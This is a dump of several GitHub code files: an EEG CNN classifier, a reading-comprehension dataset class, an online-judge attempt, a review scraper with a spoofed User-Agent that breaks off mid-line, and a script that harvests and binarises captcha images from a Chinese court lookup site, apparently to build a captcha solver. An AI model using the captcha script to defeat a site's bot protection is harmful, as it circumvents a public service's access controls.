{"seq_id": "1744480716", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport tensorflow as tf\nfrom eeg_parser import get_eeg_samples\nfrom eeg_parser import train_test_split_shuffle\nfrom eeg_preprocessing import eeg_fft_plot\nfrom eeg_preprocessing  import eeg_power_spectral_density_plot\nfrom eeg_preprocessing import eeg_fir_bandpass_plot\nfrom eeg_preprocessing import eeg_fir_bandpass\nfrom eeg_preprocessing import process_data\nfrom eeg_preprocessing  import energy_percents\nfrom eeg_preprocessing import input_energy_graph\nfrom eeg_preprocessing import energy_band_percent_graphs\nimport matplotlib.pyplot as plt\nimport time\nimport pywt\nimport pandas as pd\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\ndef weight_variable(shape):\n    initial = tf.truncated_normal(shape, stddev = 0.1)\n    return tf.Variable(initial)\n\ndef bias_variable(shape):\n    initial = tf.constant(0.0, shape = shape)\n    return tf.Variable(initial)\n\ndef depthwise_conv2d(x, W):\n    return tf.nn.depthwise_conv2d(x, W, [1, 1, 1, 1], padding='VALID')\n\ndef apply_depthwise_conv(x,kernel_size,num_channels,depth):\n    weights = weight_variable([1, kernel_size, num_channels, depth])\n    print(\"WEIGHTS SHAPE: \", weights.shape)\n    biases = bias_variable([depth * num_channels])\n    return tf.nn.relu(tf.add(depthwise_conv2d(x, weights),biases))\n\ndef apply_max_pool(x,kernel_size,stride_size):\n    return tf.nn.max_pool(x, ksize=[1, 1, kernel_size, 1], \n                          strides=[1, 1, stride_size, 1], padding='VALID')\n\ndef windows(data, size):\n    start = 0\n    while start < data.count():\n        yield int(start), int(start + size)\n        start += (size / 2)\n\ndef stack_sigs(data): \n\n\tsegments = np.empty((0,len(data[0].signal[0]),3))\n\tlabels = np.empty((0))\n\ti = 0\n\tfor sample in data:\n\t\ti += 1\n\t\tif (i % 100 == 0): \n\t\t\tprint(i)\n\n\t\tsig = sample.signal\n\t\tch1 = sig[0]#.tolist()\n\t\tch2 = sig[1]#.tolist()\n\t\tch3 = sig[2]#.tolist()\n\n\t\tsegments = np.vstack([segments, np.dstack([ch1, ch2, ch3])])\n\t\tlabels = np.append(labels, sample.label)\n\n\treturn segments, labels\n\ndef main(unused_argv):\n\t# Load training and eval data\"\n\tprint(\"starting\")\n\teeg_samples = get_eeg_samples('SeniorProject/EEG_Dataset/')\n\tnumber_samples_used = 1000\n\tprint(\"TOTAL NUMBER OF SAMPLES: \", number_samples_used)\n\ttrain_samples, test_samples = train_test_split_shuffle(eeg_samples, number_samples_used, 0.7)\n\tprint(\"stacking training sigs...\")\n\ttrain_x, train_y = stack_sigs(train_samples)\n\tprint(\"stacking testing sigs...\" )\n\ttest_x, test_y = stack_sigs(test_samples)\n\n\tprint(\"TRAIN_X: \", train_x.shape)\n\tprint(\"TRAIN_Y: \", train_y.shape)\n\ttrain_x = train_x.reshape(len(train_x), 1, 320, 3)\n\ttest_x = test_x.reshape(len(test_x), 1, 320, 3)\n\n\ttrain_y = np.asarray(pd.get_dummies(train_y), dtype = np.int8)\n\ttest_y = np.asarray(pd.get_dummies(test_y), dtype = np.int8)\n\n\tprint(\"SAMPLE SHAPE: \", train_x[1].shape)\n\tprint(\"EEG TRAIN DATA SHAPE: \", str(train_x.shape))\n\tprint(\"EEG EVAL DATA SHAPE: \", str(test_x.shape))\n\tprint(\"EEG TRAIN LABELS SHAPE: \", str(train_y.shape))\n\tprint(\"EEG EVAL LABELS SHAPE: \", str(test_y.shape))\n\n\tinput_height = 1\n\tinput_width = 320\n\tnum_labels = 2\n\tnum_channels = 3\n\n\tbatch_size = 10\n\tkernel_size = 10\n\tdepth = 60\n\tnum_hidden = 1000\n\n\tlearning_rate = 0.007\n\ttraining_epochs = 8\n\n\ttrain_accuracies = [0.5]\n\ttest_accuracies = [0.5]\n\n\ttotal_batches = train_x.shape[0] // batch_size\n\t# total_batches = 10\n\tprint(\"total batches: \", total_batches)\n\n\n\tX = tf.placeholder(tf.float32, shape=[None,input_height,input_width,num_channels])\n\tY = tf.placeholder(tf.float32, shape=[None,num_labels])\n\n\tc = apply_depthwise_conv(X,kernel_size,num_channels,depth)\n\tprint(\"\\nCONV1 OUTPUT SHAPE: \\n\", str(c.shape))\n\n\tp = apply_max_pool(c,20,2)\n\tprint(\"\\nPOOL1 OUTPUT SHAPE: \\n\", str(p.shape))\n\n\tc = apply_depthwise_conv(p,6,depth*num_channels,depth//10)\n\tprint(\"\\nCONV2 OUTPUT SHAPE: \\n\", str(c.shape))\n\n\tshape = c.get_shape().as_list()\n\tc_flat = tf.reshape(c, [-1, shape[1] * shape[2] * shape[3]])\n\tprint(\"\\nCONV2_FLAT OUTPUT SHAPE: \\n\", str(c_flat.shape))\n\n\tf_weights_l1 = weight_variable([shape[1] * shape[2] * depth * num_channels * (depth//10), num_hidden])\n\tf_biases_l1 = bias_variable([num_hidden])\n\tf = tf.nn.tanh(tf.add(tf.matmul(c_flat, f_weights_l1),f_biases_l1))\n\n\tout_weights = weight_variable([num_hidden, num_labels])\n\tout_biases = bias_variable([num_labels])\n\ty_ = tf.nn.softmax(tf.matmul(f, out_weights) + out_biases)\n\tprint(\"y_ SHAPE: \", y_.shape)\n\n\tloss = -tf.reduce_sum(Y * tf.log(y_))\n\toptimizer = tf.train.GradientDescentOptimizer(learning_rate = learning_rate).minimize(loss)\n\n\tcorrect_prediction = tf.equal(tf.argmax(y_,1), tf.argmax(Y,1))\n\taccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n\tcost_history = np.empty(shape=[1],dtype=float)\n\n\twith tf.Session() as session:\n\t\ttf.global_variables_initializer().run()\n\t\tfor epoch in range(training_epochs):\n\t\t\tfor b in range(total_batches):    \n\t\t\t\tprint(\"batch: \", b)\n\t\t\t\toffset = (b * batch_size) % (train_y.shape[0] - batch_size)\n\t\t\t\tbatch_x = train_x[offset:(offset + batch_size), :, :, :]\n\t\t\t\tbatch_y = train_y[offset:(offset + batch_size), :]\n\t\t\t\t_, c = session.run([optimizer, loss],feed_dict={X: batch_x, Y : batch_y})\n\t\t\t\tcost_history = np.append(cost_history,c)\n\n\t\t\tprint(\"calculating training accuracies...\")\n\t\t\ttrain_accuracy = session.run(accuracy, feed_dict={X: train_x, Y: train_y})\n\t\t\ttrain_accuracies.append(train_accuracy)\n\t\t\tprint (\"Epoch: \",epoch,\" Training Loss: \",c,\" Training Accuracy: \", train_accuracy)\n\t\t\ttest_accuracy = session.run(accuracy, feed_dict={X: test_x, Y: test_y})\n\t\t\ttest_accuracies.append(test_accuracy)\n\n\t\t\tfig, ax = plt.subplots()\n\t\t\tax.plot(test_accuracies, \"r\")\n\t\t\tax.plot(train_accuracies, \"b\")\n\n\t\t\tax.set(xlabel='run number', ylabel='accuracy (%)',\n\t\t\t   title='Test Results')\n\t\t\tax.grid()\n\t\t\tplt.show()\n\n\n\n\t\tprint(\"calculating testing accuracies\")\n\t\tprint (\"Testing Accuracy:\", session.run(accuracy, feed_dict={X: test_x, Y: test_y}))\n\n\tfig, ax = plt.subplots()\n\tax.plot(test_accuracies, \"r\")\n\tax.plot(train_accuracies, \"b\")\n\n\tax.set(xlabel='run number', ylabel='accuracy (%)',\n\t   title='Test Results')\n\tax.grid()\n\n\n\tfig.savefig(\"test.png\")\n\tplt.show()\n\nif __name__ == \"__main__\":\n\ttf.app.run()", "repo_name": "gerkenmatt/tensorflow_projects", "sub_path": "cnn_eeg_depthwise.py", "file_name": "cnn_eeg_depthwise.py", "file_ext": "py", "file_size_in_byte": 6249, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tensorflow.logging.set_verbosity", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tensorflow.truncated_normal", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.nn.depthwise_conv2d", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.add", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.nn.max_pool", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 67, "usage_type": "call"}, {"api_name": "eeg_parser.get_eeg_samples", "line_number": 74, "usage_type": "call"}, {"api_name": "eeg_parser.train_test_split_shuffle", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 88, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 89, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 89, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 118, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 118, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.nn.tanh", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 136, "usage_type": "attribute"}, {"api_name": "tensorflow.add", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 140, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.log", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.train.GradientDescentOptimizer", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 144, "usage_type": "attribute"}, {"api_name": "tensorflow.equal", "line_number": 146, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 146, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 147, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 149, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 151, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "tensorflow.app.run", "line_number": 196, "usage_type": "call"}, {"api_name": "tensorflow.app", "line_number": 196, "usage_type": "attribute"}]}
{"seq_id": "35365725476", "text": "# -*- coding: utf-8 -*-\n\nimport cv2\nimport requests\nimport time\n\nbaseUrl = 'http://shixin.court.gov.cn/captchaNew.do'\n\nindex = 1\nwhile index <= 20:\n    time.sleep(1)\n    # timeStamp = time.time()\n    # tStr = str(int(timeStamp))\n    url = baseUrl\n\n    try:\n        pic = requests.get(url, timeout=5)\n    except requests.exceptions.ConnectionError:\n        print('download error skip!')\n        continue\n    picName = 'D:\\\\courtpic\\\\' + str(index) + '.jpg'\n    fp = open(picName, 'wb')\n    fp.write(pic.content)\n    fp.close()\n\n    '''step1'''\n    img = cv2.imread(picName)\n    GrayImage = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(GrayImage, (5, 5), 0)  # 高斯滤波\n\n    ret, thresh = cv2.threshold(blurred, 100, 255, cv2.THRESH_BINARY)\n    step1Name = 'D:\\\\courtpic\\\\step1\\\\' + str(index) + '.jpg'\n    cv2.imwrite(step1Name, thresh)\n    # time.sleep(1)\n    '''step2'''\n    # Timg = cv2.imread(step1Name)\n    # TGrayImage = cv2.cvtColor(Timg, cv2.COLOR_BGR2GRAY)\n    # Tblurred = cv2.GaussianBlur(TGrayImage, (5, 5), 0)  # 高斯滤波\n    # ret, Tthresh = cv2.threshold(Tblurred, 80, 255, cv2.THRESH_BINARY)\n    # step2Name = 'D:\\\\unicompic\\\\step2\\\\' + str(index) + '.jpg'\n    # cv2.imwrite('result.jpg', thresh)\n    index+=1\n", "repo_name": "magicnian/python_image_spider", "sub_path": "UnicomCodeTest.py", "file_name": "UnicomCodeTest.py", "file_ext": "py", "file_size_in_byte": 1257, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.sleep", "line_number": 11, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 33, "usage_type": "call"}]}
{"seq_id": "18226043383", "text": "# https://www.acmicpc.net/problem/17071\nimport sys\nsys.stdin = open(\"input.txt\",\"r\")\n# def sumN(n):\n#     return n*(n+1)//2\n\n# from collections import deque\n# def solution(n,cnt):\n#     global mini,k\n#     dong=k+sumN(cnt)\n#     if k-n>n:\n#         return\n#     elif mini>cnt :\n#         if n==dong:\n#             print(cnt)\n#             mini=min(mini,cnt)\n#         elif -1<n<500001 and -1<dong<500001:\n#             cnt+=1\n#             solution(n+1,cnt)\n#             solution(n-1,cnt)\n#             solution(n*2,cnt)\n\n# n,k=map(int,input().split())\n# mini = 0xfffff\n# solution(n,0)\n# if mini==0xfffff:\n#     print(-1)\n# else:\n#     print(mini)\n\n\nfrom collections import deque\ndef sumN(n):\n    return n*(n+1)//2\n\ndef solution(n,cnt):\n    global mini,d\n    que=deque()\n    que.append((n,cnt))\n    while len(que)>0:\n        n,cnt=que.popleft()\n        k=d+sumN(cnt)\n        if sumN(cnt)>n or cnt>1000:\n            continue\n        if mini>cnt :\n            if n==k:\n                mini=min(mini,cnt)\n            elif -1<n<500001 and -1<k<500001:\n                cnt+=1\n                print(cnt)\n                que.append((n*2,cnt))\n                que.append((n+1,cnt))\n                if n>k:\n                    que.append((n-1,cnt))\n\nT=int(input())\nfor _ in range(T):\n    n,d=map(int,input().split())\n    mini = 0xfffff\n    solution(n,0)\n    if mini==0xfffff:\n        print(-1)\n    else:\n        print(mini)", "repo_name": "HorangApple/TIL", "sub_path": "Algorithm/Baekjoon/푸는 중/17071_숨바꼭질5.py", "file_name": "17071_숨바꼭질5.py", "file_ext": "py", "file_size_in_byte": 1415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.stdin", "line_number": 3, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "38590701825", "text": "import abc\nimport codecs\nimport re\nfrom collections import Counter\n\nimport nltk\nimport numpy as np\nfrom tensorflow.python.platform import gfile\n\nfrom utils.log import logger\n\n\ndef default_tokenizer(sentence):\n    _DIGIT_RE = re.compile(r\"\\d+\")\n    sentence = _DIGIT_RE.sub(\"0\", sentence)\n    sentence = \" \".join(sentence.split(\"|\"))\n    return nltk.word_tokenize(sentence.lower())\n\n\n# noinspection PyAttributeOutsideInit\nclass RCDataset(object, metaclass=abc.ABCMeta):\n    def __init__(self, args):\n        self.args = args\n        # padding,start of sentence,end of sentence,unk,end of question\n        self._PAD = \"_PAD\"\n        self._BOS = \"_BOS\"\n        self._EOS = \"_EOS\"\n        self._UNK = \"_UNK\"\n        self._EOQ = \"_EOQ\"\n        self._START_VOCAB = [self._PAD, self._BOS, self._EOS, self._UNK, self._EOQ]\n        self.PAD_ID = 0\n        self.BOS_ID = 1\n        self.EOS_ID = 2\n        self.UNK_ID = 3\n        self.EOQ_ID = 4\n\n        self._BLANK = \"XXXXX\"\n\n        # special character of char embedding: pad and unk\n        self._CHAR_PAD = \"γ\"\n        self._CHAR_UNK = \"δ\"\n        self.CHAR_PAD_ID = 0\n        self.CHAR_UNK_ID = 1\n        self._CHAR_START_VOCAB = [self._CHAR_PAD, self._CHAR_UNK]\n\n    @property\n    def train_idx(self):\n        return self._train_idx\n\n    @train_idx.setter\n    def train_idx(self, value):\n        self._train_idx = value\n\n    @property\n    def train_sample_num(self):\n        return self._train_sample_num\n\n    @train_sample_num.setter\n    def train_sample_num(self, value):\n        self._train_sample_num = value\n\n    @property\n    def valid_sample_num(self):\n        return self._valid_sample_num\n\n    @valid_sample_num.setter\n    def valid_sample_num(self, value):\n        self._valid_sample_num = value\n\n    @property\n    def test_sample_num(self):\n        return self._test_sample_num\n\n    @test_sample_num.setter\n    def test_sample_num(self, value):\n        self._test_sample_num = value\n\n    def shuffle(self):\n        logger(\"Shuffle the dataset.\")\n        np.random.shuffle(self.train_idx)\n\n    def get_next_batch(self, mode, idx):\n        \"\"\"\n        return next batch of data samples\n        \"\"\"\n        batch_size = self.args.batch_size\n        if mode == \"train\":\n            dataset = self.train_data\n            sample_num = self.train_sample_num\n        elif mode == \"valid\":\n            dataset = self.valid_data\n            sample_num = self.valid_sample_num\n        else:\n            dataset = self.test_data\n            sample_num = self.test_sample_num\n        if mode == \"train\":\n            start = self.train_idx[idx] * batch_size\n            stop = (self.train_idx[idx] + 1) * batch_size\n        else:\n            start = idx * batch_size\n            stop = (idx + 1) * batch_size if start < sample_num and (idx + 1) * batch_size < sample_num else -1\n        samples = batch_size if stop != -1 else len(dataset[0]) - start\n        _slice = np.index_exp[start:stop]\n        return self.next_batch_feed_dict_by_dataset(dataset, _slice, samples)\n\n    @staticmethod\n    def gen_embeddings(word_dict, embed_dim, in_file=None, init=np.zeros):\n        \"\"\"\n        Init embedding matrix with (or without) pre-trained word embeddings.\n        \"\"\"\n        num_words = max(word_dict.values()) + 1\n        embedding_matrix = init(-0.05, 0.05, (num_words, embed_dim))\n        logger('Embeddings: %d x %d' % (num_words, embed_dim))\n\n        if not in_file:\n            return embedding_matrix\n\n        def get_dim(file):\n            first = gfile.FastGFile(file, mode='r').readline()\n            return len(first.split()) - 1\n\n        assert get_dim(in_file) == embed_dim\n        logger('Loading embedding file: %s' % in_file)\n        pre_trained = 0\n        for line in codecs.open(in_file, encoding=\"utf-8\"):\n            sp = line.split()\n            if sp[0] in word_dict:\n                pre_trained += 1\n                embedding_matrix[word_dict[sp[0]]] = np.asarray([float(x) for x in sp[1:]], dtype=np.float32)\n        logger(\"Pre-trained: {}, {:.3f}%\".format(pre_trained, pre_trained * 100.0 / num_words))\n        return embedding_matrix\n\n    def sentence_to_token_ids(self, sentence, word_dict, tokenizer=default_tokenizer):\n        \"\"\"\n        Turn sentence to token ids.\n            sentence:       [\"I\", \"have\", \"a\", \"dog\"]\n            word_list:      {\"I\": 1, \"have\": 2, \"a\": 4, \"dog\": 7\"}\n            return:         [1, 2, 4, 7]\n        \"\"\"\n        return [word_dict.get(token, self.UNK_ID) for token in tokenizer(sentence)]\n\n    def get_embedding_matrix(self, vocab_file, is_char_embedding=False):\n        \"\"\"\n        :param is_char_embedding: is the function called for generate char embedding\n        :param vocab_file: file containing saved vocabulary.\n        :return: a dict with each key as a word, each value as its corresponding embedding vector.\n        \"\"\"\n        word_dict = self.load_vocab(vocab_file)\n        embedding_file = None if is_char_embedding else self.args.embedding_file\n        embedding_dim = self.args.char_embedding_dim if is_char_embedding else self.args.embedding_dim\n        embedding_matrix = self.gen_embeddings(word_dict,\n                                               embedding_dim,\n                                               embedding_file,\n                                               init=np.random.uniform)\n        return embedding_matrix\n\n    def sort_by_length(self, data):\n        # TODO: sort data array according to sequence length in order to speed up training\n        pass\n\n    @staticmethod\n    def gen_char_vocab(data_file, tokenizer=default_tokenizer, old_counter=None):\n        \"\"\"\n         generate character level vocabulary according to train corpus.\n        \"\"\"\n        logger(\"Creating character dict from data {}.\".format(data_file))\n        char_counter = old_counter if old_counter else Counter()\n        with gfile.FastGFile(data_file) as f:\n            for line in f:\n                tokens = tokenizer(line.rstrip(\"\\n\"))\n                char_counter.update([char for word in tokens for char in word])\n\n        # summary statistics\n        total_chars = sum(char_counter.values())\n        distinct_chars = len(list(char_counter))\n\n        logger(\"STATISTICS\" + \"-\" * 20)\n        logger(\"Total characters: \" + str(total_chars))\n        logger(\"Total distinct characters: \" + str(distinct_chars))\n        return char_counter\n\n    @staticmethod\n    def gen_vocab(data_file, tokenizer=default_tokenizer, old_counter=None, max_count=None):\n        \"\"\"\n        generate vocabulary according to train corpus.\n        \"\"\"\n        logger(\"Creating word dict from data {}.\".format(data_file))\n        word_counter = old_counter if old_counter else Counter()\n        counter = 0\n        with gfile.FastGFile(data_file) as f:\n            for line in f:\n                counter += 1\n                if max_count and counter > max_count:\n                    break\n                tokens = tokenizer(line.rstrip('\\n'))\n                word_counter.update(tokens)\n                if counter % 100000 == 0:\n                    logger(\"Process line %d Done.\" % counter)\n\n        # summary statistics\n        total_words = sum(word_counter.values())\n        distinct_words = len(list(word_counter))\n\n        logger(\"STATISTICS\" + \"-\" * 20)\n        logger(\"Total words: \" + str(total_words))\n        logger(\"Total distinct words: \" + str(distinct_words))\n\n        return word_counter\n\n    def save_char_vocab(self, char_counter, char_vocab_file, max_vocab_num=None):\n        \"\"\"\n        Save character vocabulary.\n        We need two special vo\n        \"\"\"\n        with gfile.FastGFile(char_vocab_file, \"w\") as f:\n            for char in self._CHAR_START_VOCAB:\n                f.write(char + \"\\n\")\n            for char in list(map(lambda x: x[0], char_counter.most_common(max_vocab_num))):\n                f.write(char + \"\\n\")\n\n    def save_vocab(self, word_counter, vocab_file, max_vocab_num=None):\n        with gfile.FastGFile(vocab_file, \"w\") as f:\n            for word in self._START_VOCAB:\n                f.write(word + \"\\n\")\n            for word in list(map(lambda x: x[0], word_counter.most_common(max_vocab_num))):\n                f.write(word + \"\\n\")\n\n    @staticmethod\n    def load_vocab(vocab_file):\n        \"\"\"\n        load word(or char) vocabulary file to word/char dict\n        \"\"\"\n        if not gfile.Exists(vocab_file):\n            raise ValueError(\"Vocabulary file %s not found.\", vocab_file)\n        word_dict = {}\n        word_id = 0\n        for line in codecs.open(vocab_file, encoding=\"utf-8\"):\n            word_dict.update({line.strip(): word_id})\n            word_id += 1\n        return word_dict\n\n    # noinspection PyAttributeOutsideInit\n    def preprocess(self):\n        self.train_data = self.preprocess_input_sequences(self.train_data)\n        self.valid_data = self.preprocess_input_sequences(self.valid_data)\n        if self.args.test:\n            self.test_data = self.preprocess_input_sequences(self.test_data)\n\n    @abc.abstractmethod\n    def preprocess_input_sequences(self, data):\n        \"\"\"\n        Preprocess train/valid/test data. Should be specified by sub class.\n        \"\"\"\n        pass\n\n    @abc.abstractmethod\n    def get_data_stream(self):\n        \"\"\"\n        Get data statistics.\n        \"\"\"\n        pass\n\n    @abc.abstractmethod\n    def next_batch_feed_dict_by_dataset(self, dataset, _slice, samples):\n        \"\"\"\n        How to specify feed dict according to _slice.\n        \"\"\"\n        pass\n", "repo_name": "cairoHy/RC-experiments", "sub_path": "dataset/rc_dataset.py", "file_name": "rc_dataset.py", "file_ext": "py", "file_size_in_byte": 9466, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 62, "dataset": "github-code", "pt": "81", "api": [{"api_name": "re.compile", "line_number": 14, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 17, "usage_type": "call"}, {"api_name": "abc.ABCMeta", "line_number": 21, "usage_type": "attribute"}, {"api_name": "utils.log.logger", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.index_exp", "line_number": 103, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 107, "usage_type": "attribute"}, {"api_name": "utils.log.logger", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile.FastGFile", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile", "line_number": 119, "usage_type": "name"}, {"api_name": "utils.log.logger", "line_number": 123, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 129, "usage_type": "attribute"}, {"api_name": "utils.log.logger", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 154, "usage_type": "attribute"}, {"api_name": "utils.log.logger", "line_number": 166, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 167, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile.FastGFile", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile", "line_number": 168, "usage_type": "name"}, {"api_name": "utils.log.logger", "line_number": 177, "usage_type": "call"}, {"api_name": "utils.log.logger", "line_number": 178, "usage_type": "call"}, {"api_name": "utils.log.logger", "line_number": 179, "usage_type": "call"}, {"api_name": "utils.log.logger", "line_number": 187, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 188, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile.FastGFile", "line_number": 190, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile", "line_number": 190, "usage_type": "name"}, {"api_name": "utils.log.logger", "line_number": 198, "usage_type": "call"}, {"api_name": "utils.log.logger", "line_number": 204, "usage_type": "call"}, {"api_name": "utils.log.logger", "line_number": 205, "usage_type": "call"}, {"api_name": "utils.log.logger", "line_number": 206, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile.FastGFile", "line_number": 215, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile", "line_number": 215, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.gfile.FastGFile", "line_number": 222, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile", "line_number": 222, "usage_type": "name"}, {"api_name": "tensorflow.python.platform.gfile.Exists", "line_number": 233, "usage_type": "call"}, {"api_name": "tensorflow.python.platform.gfile", "line_number": 233, "usage_type": "name"}, {"api_name": "codecs.open", "line_number": 237, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 249, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 256, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 263, "usage_type": "attribute"}]}
{"seq_id": "42557273604", "text": "# coding: utf-8\nimport urllib.request\nimport re\nimport pprint\nfrom pprint import pprint\nimport os\nimport time\nimport urllib.error\nimport datetime\n\nclass Functions:\n    first_url = \"\"      #ページのURL\n    headers = {\"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0\"}\n    html = \"\"\n\n    def __init__(self,url):\n        self.first_url = url #ページのURLを保管す\n        #print(self.first_url)\n\n    #全処理を行う\n    def get_all(self):\n        self.get_page_html(self.first_url)  #取得したurlからhtmlコードを取得\n        num = self.get_review_num()         #レビュー数を取得\n        average = self.get_review_average() #平均を取得する\n        dt_now = datetime.datetime.now()    #現在時刻を取得\n        print(dt_now.strftime('%Y/%m/%d %H:%M:%S')+\" ,\"+num+\" 件, 星平均: \"+average)\n        #print(self.html)\n\n    #取得したページからhtmlコードを取得\n    def get_page_html(self,url):\n        request = urllib.request.Request(url, headers=self.headers) \n        self.html = urllib.request.urlopen(request).read().decode('utf-8')\n        #print(self.html)\n        pass\n\n    #レビュー件数を取得\n    def get_review_num(self):\n        pattern = \"aria-label=\\\"[0-9]+ 件の評価\"\n        res = re.findall(pattern,self.html)\n        string1 = res[0].replace(\"aria-label=\\\"\",\"\")\n        #pprint(string1)\n        pattern2 = \"[0-9]+\"\n        res2 = re.findall(pattern2,string1)\n        string2 = res2[0]\n        #pprint(string2)\n        return string2\n\n    #星平均数を取得する\n    def get_review_average(self):\n        pattern = \"平均評価: 星[^個]+個\"\n        res = re.findall(pattern,self.html)\n        #pprint(res[0])\n        pattern2 = \"[0-9]+[^/]+\"\n        res2 = re.findall(pattern2,res[0])\n        string2 = 